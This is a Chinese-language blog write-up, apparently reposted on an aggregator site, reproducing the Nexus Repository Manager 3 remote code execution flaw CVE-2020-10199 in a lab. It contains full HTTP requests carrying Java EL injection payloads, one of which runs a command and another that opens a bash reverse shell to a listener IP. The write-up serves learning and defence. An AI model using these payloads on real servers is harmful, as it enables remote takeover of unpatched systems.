栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CVE-2020-10199 Nexus Repository Manager3远程命令执行漏洞复现

一、漏洞概述

nexus的全称是Nexus Repository Manager,是Sonatype公司的一个产品。它是一个强大的仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单,还可以作为nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt等的私有仓库,功能非常强大。——大佬链接:https://zhuanlan.zhihu.com/p/353955349

二、影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

三、漏洞原理

在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码、执行了不安全的EL表达式,从而获取到系统权限。

CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。

补充:EL表达式——el表达式语言,Java统一表达式语言(英语:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。在JSP中访问模型对象是通过EL表达式的语法来表达。所有EL表达式的格式都是以“${}”表示。例如,${ userinfo}代表获取变量userinfo的值。

四、漏洞复现环境

Kali Linux + Vulfocus
渗透机:Kali Linux 
靶机:Vulfocus

五、实验步骤

1.开启镜像环境,访问页面

 2.使用账号id:admin  password:admin登录账号

 3.brup抓包且构造如下数据包,执行6*6*6(此时虚拟机太卡了,重新启动了一下,所以端口和环境都换了一下)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 192.168.117.131:42023

Content-Length: 187

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN:0.9468176225792493

Content-Type: application/json

Accept: **

Origin: 192.168.117.131:42023

Referer: 192.168.117.131:42023

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff

Connection: close

{

    "name": "internal",

    "online": true,

    "storage": {

        "blobStoreName": "default",

        "strictContentTypeValidation": true

    },

    "group": {

    "memberNames": ["$\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/Nexus')}"]

}

}

 5.监听指定端口,执行反弹shell

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

POST /service/rest/beta/repositories/go/group HTTP/1.1

Host: 192.168.117.131:42023

Content-Length: 317

X-Requested-With: XMLHttpRequest

X-Nexus-UI: true

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0

NX-ANTI-CSRF-TOKEN:0.9468176225792493

Content-Type: application/json

Accept: */*

Origin: 192.168.117.131:42023

Referer: 192.168.117.131:42023

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: NX-ANTI-CSRF-TOKEN=0.9468176225792493; NXSESSIONID=ce2578b0-1eb1-4881-8fdc-b4ac02196bff

Connection: close

{

    "name": "internal",

    "online": true,

    "storage": {

        "blobStoreName": "default",

        "strictContentTypeValidation": true

    },

    "group": {

    "memberNames": ["$\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.117.131/4216<&1')}"]

}

}

 

6.能看到之前创建的Nexus文件和flag

六、修复方式

根据官方跟新文档,升级至最新版本——https://help.sonatype.com/repomanager3

七、写于后面

此漏洞复现的意义主要还是多一个思路,毕竟涉及范围并不是特别广。当然更重要的还是对于linux的深入学习、理解和使用吧,准备新开一个linux学习专栏~

https://mp.weixin.qq.com/s/CAtsX3yP81mULbMDTo0J1A——一位大佬整理的该漏洞复现过程中的原理以及超级底层的讲解,超级棒,引用于此方便学习

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/941305.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号